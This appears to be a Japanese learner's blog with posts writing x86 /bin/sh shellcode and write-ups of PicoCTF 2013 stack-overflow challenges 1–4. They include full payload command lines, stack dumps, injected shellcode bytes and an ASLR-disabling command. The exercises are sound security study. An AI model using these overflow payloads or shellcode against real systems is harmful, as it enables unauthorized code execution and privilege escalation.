/bin/shを起動するシェルコード(x86) その3
更にバイト数を削れたのでメモ。と思ったけど、eaxへの代入にバイト数を割いていて、今回も21bytesだった。
今回は文字列の終端に0x00が必要だったので、//shではなく/shになっている。
# objdump -d -Mintel c.out | grep -A6 \<main\> 080483ed <main>: 80483ed: 31 c9 xor ecx,ecx 80483ef: 68 2f 73 68 00 push 0x68732f 80483f4: 68 2f 62 69 6e push 0x6e69622f 80483f9: 89 e3 mov ebx,esp 80483fb: b8 0b 00 00 00 mov eax,0xb 8048400: cd 80 int 0x80
# gcc -m32 -o c.out c.s # ./c.out # exit
レジスタとスタックは以下のようになっているはず。
今回のようにNullバイト(0x00)が入っていると、strcpyなどを使ったときにシェルコードのコピーがうまくされない。0x00は文字列の終端として扱われるため。そのため、本来はNullバイトが無いシェルコードの方が使い勝手がよいものと思われる。
/bin/shを起動するシェルコード(x86) その2
前回よりもシェルコードを短くできたのでメモ。 前回は23bytes、今回は21bytes。
# objdump -d -Mintel b.out | grep -A8 \<main\> 080483ed <main>: 80483ed: 31 c0 xor eax,eax 80483ef: 50 push eax 80483f0: 89 e1 mov ecx,esp 80483f2: 68 2f 2f 73 68 push 0x68732f2f 80483f7: 68 2f 62 69 6e push 0x6e69622f 80483fc: 89 e3 mov ebx,esp 80483fe: b0 0b mov al,0xb 8048400: cd 80 int 0x80
前回はプロンプトがsh-4.2#に変化して分かりやすかったが、今回はプロンプトが変わらないがシェルは取れる。 execveの第三引数envpが絡んでいるかも?
# gcc -m32 -o b.out b.s # ./b.out # exit
レジスタとスタックは以下のようになっているはず。
参考 EXECVEの仕様 https://linuxjm.osdn.jp/html/LDP_man-pages/man2/execve.2.html
/bin/shを起動するシェルコード(x86)
単純なオーバフローを起こすと解けるpwnは解けるようになってきた。 ただ、shellcodeが必要な問題だと、shellcodeをどこからか持ってこないといけない。 それだと応用が効かないので、shellcodeを作れるようになりたいと思う。 そのためにまずは、shellcodeとして使えるアセンブリのビルド方法を調べて試してみた。
以下はx86マシン(32bit)でshellを起動するアセンブリコード
# cat a.s .intel_syntax noprefix # Intel記法を使うにはこの記述が必要らしい .globl main main: xor eax, eax # eaxをゼロクリア push eax push 0x68732f2f # //sh ※エンディアン注意。影響のない"/"を追加して4バイトにしている、たぶん。 push 0x6e69622f # /bin ※エンディアン注意 mov ebx, esp push eax push ebx mov ecx, esp mov al, 0xb # システムコール番号(11)の設定 int 0x80 # システムコール(execve)
以下のようにgccで実行ファイルを生成可能。
# gcc -m32 a.s # ./a.out sh-4.2#
これをobjdumpしてあげるとshellcodeがわかる。
# objdump -d -Mintel a.out | grep -A10 \<main\> 080483ed <main>: 80483ed: 31 c0 xor eax,eax 80483ef: 50 push eax 80483f0: 68 2f 2f 73 68 push 0x68732f2f 80483f5: 68 2f 62 69 6e push 0x6e69622f 80483fa: 89 e3 mov ebx,esp 80483fc: 50 push eax 80483fd: 53 push ebx 80483fe: 89 e1 mov ecx,esp 8048400: b0 0b mov al,0xb 8048402: cd 80 int 0x80
レジスタとスタックの様子を図示してみた。レジスタとスタックに適切な値を設定してから、システムコール(int 0x80)を実行すればよいことがわかる。
なお、システムコール番号はausyscallコマンドで調べられる。
# ausyscall i686 --dump | grep '^11\s' 11 execve
以下のコードを参考に勉強させて頂きました。
PicoCTF2013 Overflow4 Writeup
今回は一応できたけど、非常にもやもやしたまま。すっきりしない。
問題編
問題文
Category: Binary Exploitation Points: 150 Description: Stack overflows are the most basic binary exploitation technique, but they take a lot of skill to master. If you already know some C, these problems can help acquaint you with stacks and binary exploitation in general. Problem available on the shell machine in /problems/stack_overflow_4_4834efeff17abdfb , downloadable here with source here. If you solve the problem you will be able to read the key file by running cat /problems/stack_overflow_4_4834efeff17abdfb/key on the PicoCTF shell machine. HINT: Gonna need some shellcode. Luckily some is provided for you in the directory on the shell machine.
#include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "dump_stack.h" /* * Goal: Get the program to run a shell. */ void vuln(char *str) { char buf[64]; strcpy(buf, str); dump_stack((void **) buf, 21, (void **) &str); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: buffer_overflow_shellcode [str]\n"); return 1; } uid_t euid = geteuid(); setresuid(euid, euid, euid); vuln(argv[1]); return 0; }
解答編
まずはいつもの調査。
# file overflow4-4834efeff17abdfb overflow4-4834efeff17abdfb: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=ae134398f8b02334bc124c467b4ad1dc234006bb, not stripped # gdb -q ./overflow4-4834efeff17abdfb -ex checksec -ex q Reading symbols from /root/ctf/picoCTF2013/Overflow4/overflow4-4834efeff17abdfb...done. CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial
ソースコード中にシェル起動に役立ちそうな関数が無いことと、NXがDisableになっていることから、 スタックにシェルコードを注入して実行する問題だという推測までは自力でできた。
ただ、実行ごとにスタックのアドレスが変わってしまい、その対処が自力ではどうにもならなかった。 katagaitai勉強会#2の32ページに書いてある nop-sledという手法を自分なりに試してみたが、bashの引数に指定できる文字列の長さ制限もあり、 シェルコードを実行させることはできず、ギブアップ。
nop-sledを試してみたコード
# ./overflow4-4834efeff17abdfb $(python -c 'import sys; sys.stdout.write("\x90"*72); sys.stdout.write("\x04\x04\xff\xff\x04\x04\x87\xff"); sys.stdout.write("\x90"*100000); sys.stdout.write("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")') Stack dump: 0xff84ba70: 0x90909090 (first argument) 0xff84ba6c: 0xff870404 (saved eip) 0xff84ba68: 0xffff0404 (saved ebp) 0xff84ba64: 0x90909090 0xff84ba60: 0x90909090 0xff84ba5c: 0x90909090 0xff84ba58: 0x90909090 0xff84ba54: 0x90909090 0xff84ba50: 0x90909090 0xff84ba4c: 0x90909090 0xff84ba48: 0x90909090 0xff84ba44: 0x90909090 0xff84ba40: 0x90909090 0xff84ba3c: 0x90909090 0xff84ba38: 0x90909090 0xff84ba34: 0x90909090 0xff84ba30: 0x90909090 0xff84ba2c: 0x90909090 0xff84ba28: 0x90909090 0xff84ba24: 0x90909090 0xff84ba20: 0x90909090 (beginning of buffer) Segmentation fault (コアダンプ)
※実行ごとにスタックアドレスが変わる。
ここで他人様のWriteupをチラ見。
write-ups-2013/pico-ctf-2013/overflow-4 at master · ctfs/write-ups-2013 · GitHub
スタックアドレスが変わってしまうことの対処にはASLRを無効にすればよいことに気づく。
LinuxのASLRの設定を確認し、無効化(=0)設定にする。
# cat /proc/sys/kernel/randomize_va_space 2 # echo 0 > /proc/sys/kernel/randomize_va_space # cat /proc/sys/kernel/randomize_va_space 0
あとはスタックにシェルコードを流し込んで、そこにEIPを移せばシェルが取れるはず。 と思って、自分で探してきたシェルコードを試してみたがうまくいかず。。。 ここでもギブアップ。
今度は他人様のWriteupをガン見。(シェルコードもそのまま流用)
# setarch `uname -m` -R ./overflow4-4834efeff17abdfb $(python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80");sys.stdout.write("A"*55); sys.stdout.write("\x50\xd5\xff\xff")') Stack dump: 0xffffd5a0: 0xffffd700 (first argument) 0xffffd59c: 0xffffd550 (saved eip) 0xffffd598: 0x41414141 (saved ebp) 0xffffd594: 0x41414141 0xffffd590: 0x41414141 0xffffd58c: 0x41414141 0xffffd588: 0x41414141 0xffffd584: 0x41414141 0xffffd580: 0x41414141 0xffffd57c: 0x41414141 0xffffd578: 0x41414141 0xffffd574: 0x41414141 0xffffd570: 0x41414141 0xffffd56c: 0x41414141 0xffffd568: 0x41414141 0xffffd564: 0x41414180 0xffffd560: 0xcde3896e 0xffffd55c: 0x69622f68 0xffffd558: 0x68732f2f 0xffffd554: 0x68510bb0 0xffffd550: 0xe1f7c931 (beginning of buffer) # ls
わかりづらいが、一応新しいシェルは起動している様子。
先頭に'setarch uname -m
-R ‘を付けないとうまくいかない模様。
また、シェルコードにもうまく動くものとうまく動かないものがある模様。(環境依存?)
もやもや
- ASLRの無効化方法として、/proc/sys/kernel/randomize_va_spaceを変更するやり方とsetarchで起動するやり方では効果が違うのか?
- 環境によって動くシェルコードが違うのか?
PicoCTF2013 Overflow3 Writeup
問題編
問題文
Category: Binary Exploitation Points: 120 Description: Stack overflows are the most basic binary exploitation technique, but they take a lot of skill to master. If you already know some C, these problems can help acquaint you with stacks and binary exploitation in general. Problem available on the shell machine in /problems/stack_overflow_3_28d8a442fb232c0c , downloadable here with source here. If you solve the problem you will be able to read the key file by running cat /problems/stack_overflow_3_28d8a442fb232c0c/key on the PicoCTF shell machine. Hint: objdump -d is a handy tool for this sort of thing.
#include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "dump_stack.h" /* * Goal: Get the program to run this function. */ void shell(void) { execl("/bin/sh", "sh", NULL); } void vuln(char *str) { char buf[64]; strcpy(buf, str); dump_stack((void **) buf, 21, (void **) &str); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: buffer_overflow [str]\n"); return 1; } uid_t euid = geteuid(); setresuid(euid, euid, euid); printf("shell function = %p\n", shell); vuln(argv[1]); return 0; }
解答編
一度実行して、shell関数のアドレスを確認する。(2回目も実行してアドレスが変わらないことも確認する。) 戻りアドレスを変更してシェルを取る。
# ./overflow3-28d8a442fb232c0c a shell function = 0x80485f8 # ./overflow3-28d8a442fb232c0c $(python -c 'import sys; sys.stdout.write("A"*76); sys.stdout.write("\xf8\x85\x04\x08")') shell function = 0x80485f8 Stack dump: 0xffc05510: 0xffc06700 (first argument) 0xffc0550c: 0x080485f8 (saved eip) 0xffc05508: 0x41414141 (saved ebp) 0xffc05504: 0x41414141 0xffc05500: 0x41414141 0xffc054fc: 0x41414141 0xffc054f8: 0x41414141 0xffc054f4: 0x41414141 0xffc054f0: 0x41414141 0xffc054ec: 0x41414141 0xffc054e8: 0x41414141 0xffc054e4: 0x41414141 0xffc054e0: 0x41414141 0xffc054dc: 0x41414141 0xffc054d8: 0x41414141 0xffc054d4: 0x41414141 0xffc054d0: 0x41414141 0xffc054cc: 0x41414141 0xffc054c8: 0x41414141 0xffc054c4: 0x41414141 0xffc054c0: 0x41414141 (beginning of buffer) sh-4.2# ls
PicoCTF2013 Overflow2 Writeup
問題編
問題文
Category: Binary Exploitation Points: 100 Description: Stack overflows are the most basic binary exploitation technique, but they take a lot of skill to master. If you already know some C, these problems can help acquaint you with stacks and binary exploitation in general. Problem available on the shell machine in /problems/stack_overflow_2_44e63640e033ff2b , downloadable here with source here. If you solve the problem you will be able to read the key file by running cat /problems/stack_overflow_2_44e63640e033ff2b/key on the PicoCTF shell machine. Hint: A function's arguments live on top of its stack frame, above its saved ebp and return address. Make sure not to clobber those, though...
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "dump_stack.h" void vuln(int win, char *str) { char buf[64]; strcpy(buf, str); dump_stack((void **) buf, 23, (void **) &win); printf("win = %d\n", win); if (win == 1) { execl("/bin/sh", "sh", NULL); } else { printf("Sorry, you lose.\n"); } exit(0); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: stack_overwrite [str]\n"); return 1; } uid_t euid = geteuid(); setresuid(euid, euid, euid); vuln(0, argv[1]); return 0; }
解答編
main関数からvuln関数の第一引数が固定値0で渡されているが、それを変更すればよい。 戻りアドレスの直後がmain関数から渡される第一引数。
# ./overflow2-44e63640e033ff2b $(python -c 'import sys; sys.stdout.write("A"*80); sys.stdout.write("\x01")') Stack dump: 0xffe7fac8: 0x00000000 0xffe7fac4: 0xffe807a0 (second argument) 0xffe7fac0: 0x00000001 (first argument) 0xffe7fabc: 0x41414141 (saved eip) 0xffe7fab8: 0x41414141 (saved ebp) 0xffe7fab4: 0x41414141 0xffe7fab0: 0x41414141 0xffe7faac: 0x41414141 0xffe7faa8: 0x41414141 0xffe7faa4: 0x41414141 0xffe7faa0: 0x41414141 0xffe7fa9c: 0x41414141 0xffe7fa98: 0x41414141 0xffe7fa94: 0x41414141 0xffe7fa90: 0x41414141 0xffe7fa8c: 0x41414141 0xffe7fa88: 0x41414141 0xffe7fa84: 0x41414141 0xffe7fa80: 0x41414141 0xffe7fa7c: 0x41414141 0xffe7fa78: 0x41414141 0xffe7fa74: 0x41414141 0xffe7fa70: 0x41414141 (beginning of buffer) win = 1 sh-4.2# ls
PicoCTF2013 Overflow1 Writeup
ROP3が難しすぎるので、Overflow1を先に解くことに。
問題編
問題文
Category: Binary Exploitation Points: 90 Description: Stack overflows are the most basic binary exploitation technique, but they take a lot of skill to master. If you already know some C, these problems can help acquaint you with stacks and binary exploitation in general. Problem available on the shell machine in /problems/stack_overflow_1_3948d17028101c40 , downloadable here with source here. If you solve the problem you will be able to read the key file by running cat /problems/stack_overflow_1_3948d17028101c40/key on the PicoCTF shell machine **Hint:**n general, the compiler will put things on the stack in the order they appear in the code. Also google 'endianness'
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "dump_stack.h" void vuln(int tmp, char *str) { int win = tmp; char buf[64]; strcpy(buf, str); dump_stack((void **) buf, 23, (void **) &tmp); printf("win = %d\n", win); if (win == 1) { execl("/bin/sh", "sh", NULL); } else { printf("Sorry, you lose.\n"); } exit(0); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: stack_overwrite [str]\n"); return 1; } uid_t euid = geteuid(); setresuid(euid, euid, euid); vuln(0, argv[1]); return 0; }
解答編
ソースコードを読むとvuln関数内のローカル変数winに値1を代入すればシェルが取れることがわかる。
ローカル配列bufとローカル変数winは連続しているので、bufをオーバフローさせればwinに値を代入できる。
引数に英数字以外のコード(0x01など)をどのように指定するかが少し迷ったが、 $()でpythonコードを実行させることで解決した。
# ./overflow1-3948d17028101c40 $(python -c 'import sys; sys.stdout.write("A"*64); sys.stdout.write("\x01")') Stack dump: 0xffd71b74: 0xffd727b0 (second argument) 0xffd71b70: 0x00000000 (first argument) 0xffd71b6c: 0x0804870f (saved eip) 0xffd71b68: 0xffd71b98 (saved ebp) 0xffd71b64: 0xf7742000 0xffd71b60: 0xf7641537 0xffd71b5c: 0x00000001 0xffd71b58: 0x41414141 0xffd71b54: 0x41414141 0xffd71b50: 0x41414141 0xffd71b4c: 0x41414141 0xffd71b48: 0x41414141 0xffd71b44: 0x41414141 0xffd71b40: 0x41414141 0xffd71b3c: 0x41414141 0xffd71b38: 0x41414141 0xffd71b34: 0x41414141 0xffd71b30: 0x41414141 0xffd71b2c: 0x41414141 0xffd71b28: 0x41414141 0xffd71b24: 0x41414141 0xffd71b20: 0x41414141 0xffd71b1c: 0x41414141 (beginning of buffer) win = 1 sh-4.2# ls
学んだこと
- 引数に任意の入力(0x01など)を与える場合、$()内にpythonでコードを記述するとよい